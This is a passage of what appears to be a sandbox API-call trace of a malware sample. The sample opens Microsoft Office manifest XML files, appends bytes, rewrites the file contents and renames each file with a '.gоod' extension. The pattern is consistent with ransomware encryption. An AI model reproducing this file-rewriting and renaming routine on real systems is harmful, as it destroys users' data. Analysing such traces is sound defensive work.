0x59 [0171.289] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0171.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.officemui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0171.289] GetFileType (hFile=0x580) returned 0x1 [0171.289] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0171.289] GetFileType (hFile=0x580) returned 0x1 [0171.290] SetFilePointer (in: hFile=0x580, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x19870 [0171.290] WriteFile (in: hFile=0x580, lpBuffer=0x33f98d8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbee2d8, lpOverlapped=0x0 | out: lpBuffer=0x33f98d8*, lpNumberOfBytesWritten=0x1fbee2d8*=0x10, lpOverlapped=0x0) returned 1 [0171.290] CloseHandle (hObject=0x580) returned 1 [0171.290] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x59 [0171.291] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0171.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.officemui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0171.291] GetFileType (hFile=0x580) returned 0x1 [0171.291] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0171.291] GetFileType (hFile=0x580) returned 0x1 [0171.291] ReadFile (in: hFile=0x580, lpBuffer=0x33fbc20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee368, lpOverlapped=0x0 | out: lpBuffer=0x33fbc20*, lpNumberOfBytesRead=0x1fbee368*=0x1000, lpOverlapped=0x0) returned 1 [0171.318] CloseHandle (hObject=0x580) returned 1 [0171.319] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x59 [0171.319] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0171.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.officemui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0171.319] GetFileType (hFile=0x580) returned 0x1 [0171.319] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0171.319] GetFileType (hFile=0x580) returned 0x1 [0171.319] WriteFile (in: hFile=0x580, lpBuffer=0x33fa920*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbee418, lpOverlapped=0x0 | out: lpBuffer=0x33fa920*, lpNumberOfBytesWritten=0x1fbee418*=0x1010, lpOverlapped=0x0) returned 1 [0171.319] CloseHandle (hObject=0x580) returned 1 [0171.319] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x59 [0171.319] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemui.msi.16.en-us.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemui.msi.16.en-us.xml.gоod", lpFilePart=0x0) returned 0x5e [0171.319] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee350) returned 1 [0171.319] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.officemui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fbee430 | out: lpFileInformation=0x1fbee430*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd356d87a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd356d87a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6252b5a3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x19880)) returned 1 [0171.319] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee310) returned 1 [0171.319] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.officemui.msi.16.en-us.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemui.msi.16.en-us.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.officemui.msi.16.en-us.xml.gоod")) returned 1 [0171.540] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemuiset.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemuiset.msi.16.en-us.xml", lpFilePart=0x0) returned 0x5c [0171.540] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0171.540] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemuiset.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.officemuiset.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x3504390 | out: lpFileInformation=0x3504390*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd375d6d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd375d6d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd38424c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7fa)) returned 1 [0171.540] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0171.540] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemuiset.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemuiset.msi.16.en-us.xml", lpFilePart=0x0) returned 0x5c [0171.540] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee240) returned 1 [0171.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemuiset.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.officemuiset.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0171.541] GetFileType (hFile=0x580) returned 0x1 [0171.541] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee1b0) returned 1 [0171.541] GetFileType (hFile=0x580) returned 0x1 [0171.541] GetFileSize (in: hFile=0x580, lpFileSizeHigh=0x1fbee3e8 | out: lpFileSizeHigh=0x1fbee3e8*=0x0) returned 0x7fa [0171.541] ReadFile (in: hFile=0x580, lpBuffer=0x3504f08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee318, lpOverlapped=0x0 | out: lpBuffer=0x3504f08*, lpNumberOfBytesRead=0x1fbee318*=0x7fa, lpOverlapped=0x0) returned 1 [0171.542] CloseHandle (hObject=0x580) returned 1 [0171.568] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemuiset.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemuiset.msi.16.en-us.xml", lpFilePart=0x0) returned 0x5c [0171.568] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee240) returned 1 [0171.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemuiset.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.officemuiset.msi.16.en-us.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0171.569] GetFileType (hFile=0x580) returned 0x1 [0171.570] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee1b0) returned 1 [0171.570] GetFileType (hFile=0x580) returned 0x1 [0171.570] WriteFile (in: hFile=0x580, lpBuffer=0x357eb88*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x1fbee228, lpOverlapped=0x0 | out: lpBuffer=0x357eb88*, lpNumberOfBytesWritten=0x1fbee228*=0x800, lpOverlapped=0x0) returned 1 [0171.572] CloseHandle (hObject=0x580) returned 1 [0171.572] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemuiset.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemuiset.msi.16.en-us.xml", lpFilePart=0x0) returned 0x5c [0171.572] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemuiset.msi.16.en-us.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemuiset.msi.16.en-us.xml.gоod", lpFilePart=0x0) returned 0x61 [0171.572] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee350) returned 1 [0171.572] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemuiset.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.officemuiset.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fbee430 | out: lpFileInformation=0x1fbee430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd375d6d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd375d6d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x627b3d00, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x800)) returned 1 [0171.572] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee310) returned 1 [0171.572] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemuiset.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.officemuiset.msi.16.en-us.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemuiset.msi.16.en-us.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.officemuiset.msi.16.en-us.xml.gоod")) returned 1 [0171.573] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x67 [0171.573] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0171.573] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.onenote.onenote.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x357fea8 | out: lpFileInformation=0x357fea8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd276bb03, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd276bb03, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd295b9b9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17b3c)) returned 1 [0171.573] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0171.573] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x67 [0171.573] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0171.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.onenote.onenote.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0171.573] GetFileType (hFile=0x580) returned 0x1 [0171.573] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0171.573] GetFileType (hFile=0x580) returned 0x1 [0171.573] SetFilePointer (in: hFile=0x580, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x1000 [0171.574] ReadFile (in: hFile=0x580, lpBuffer=0x35803e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee3b8, lpOverlapped=0x0 | out: lpBuffer=0x35803e0*, lpNumberOfBytesRead=0x1fbee3b8*=0x1000, lpOverlapped=0x0) returned 1 [0172.156] CloseHandle (hObject=0x580) returned 1 [0172.329] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x67 [0172.351] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0172.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.onenote.onenote.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0172.351] GetFileType (hFile=0x640) returned 0x1 [0172.351] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0172.351] GetFileType (hFile=0x640) returned 0x1 [0172.351] SetFilePointer (in: hFile=0x640, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x17b3c [0172.352] WriteFile (in: hFile=0x640, lpBuffer=0x33ce2c8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbee2d8, lpOverlapped=0x0 | out: lpBuffer=0x33ce2c8*, lpNumberOfBytesWritten=0x1fbee2d8*=0x10, lpOverlapped=0x0) returned 1 [0172.353] CloseHandle (hObject=0x640) returned 1 [0172.353] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x67 [0172.353] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0172.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.onenote.onenote.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0172.353] GetFileType (hFile=0x640) returned 0x1 [0172.353] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0172.353] GetFileType (hFile=0x640) returned 0x1 [0172.353] ReadFile (in: hFile=0x640, lpBuffer=0x33d1630, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee368, lpOverlapped=0x0 | out: lpBuffer=0x33d1630*, lpNumberOfBytesRead=0x1fbee368*=0x1000, lpOverlapped=0x0) returned 1 [0172.380] CloseHandle (hObject=0x640) returned 1 [0172.380] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x67 [0172.380] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0172.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.onenote.onenote.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0172.380] GetFileType (hFile=0x640) returned 0x1 [0172.380] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0172.380] GetFileType (hFile=0x640) returned 0x1 [0172.380] WriteFile (in: hFile=0x640, lpBuffer=0x33d02f8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbee418, lpOverlapped=0x0 | out: lpBuffer=0x33d02f8*, lpNumberOfBytesWritten=0x1fbee418*=0x1010, lpOverlapped=0x0) returned 1 [0172.381] CloseHandle (hObject=0x640) returned 1 [0172.381] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x67 [0172.381] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml.gоod", lpFilePart=0x0) returned 0x6c [0172.381] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee350) returned 1 [0172.381] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.onenote.onenote.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fbee430 | out: lpFileInformation=0x1fbee430*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd276bb03, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd276bb03, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x62f4d517, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x17b4c)) returned 1 [0172.381] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee310) returned 1 [0172.381] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.onenote.onenote.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.onenote.onenote.x-none.msi.16.x-none.xml.gоod")) returned 1 [0172.382] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.onenotemui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.onenotemui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x5a [0172.382] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0172.382] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.onenotemui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.onenotemui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x344db80 | out: lpFileInformation=0x344db80*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd360620a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd360620a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd375d6d3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4a4a)) returned 1 [0172.382] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0172.383] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.onenotemui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.onenotemui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x5a [0172.383] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0172.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.onenotemui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.onenotemui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0172.383] GetFileType (hFile=0x640) returned 0x1 [0172.383] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0172.383] GetFileType (hFile=0x640) returned 0x1 [0172.383] SetFilePointer (in: hFile=0x640, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x1000 [0172.383] ReadFile (in: hFile=0x640, lpBuffer=0x344e048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee3b8, lpOverlapped=0x0 | out: lpBuffer=0x344e048*, lpNumberOfBytesRead=0x1fbee3b8*=0x1000, lpOverlapped=0x0) returned 1 [0172.384] CloseHandle (hObject=0x640) returned 1 [0172.384] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.onenotemui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.onenotemui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x5a [0172.385] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0172.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.onenotemui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.onenotemui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0172.385] GetFileType (hFile=0x640) returned 0x1 [0172.385] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0172.385] GetFileType (hFile=0x640) returned 0x1 [0172.385] SetFilePointer (in: hFile=0x640, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x4a4a [0172.385] WriteFile (in: hFile=0x640, lpBuffer=0x344f338*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbee2d8, lpOverlapped=0x0 | out: lpBuffer=0x344f338*, lpNumberOfBytesWritten=0x1fbee2d8*=0x10, lpOverlapped=0x0) returned 1 [0172.760] CloseHandle (hObject=0x640) returned 1 [0172.760] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.onenotemui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.onenotemui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x5a [0172.760] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0172.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.onenotemui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.onenotemui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0172.760] GetFileType (hFile=0x640) returned 0x1 [0172.761] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0172.761] GetFileType (hFile=0x640) returned 0x1 [0172.761] ReadFile (in: hFile=0x640, lpBuffer=0x3546f48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee368, lpOverlapped=0x0 | out: lpBuffer=0x3546f48*, lpNumberOfBytesRead=0x1fbee368*=0x1000, lpOverlapped=0x0) returned 1 [0172.939] CloseHandle (hObject=0x640) returned 1 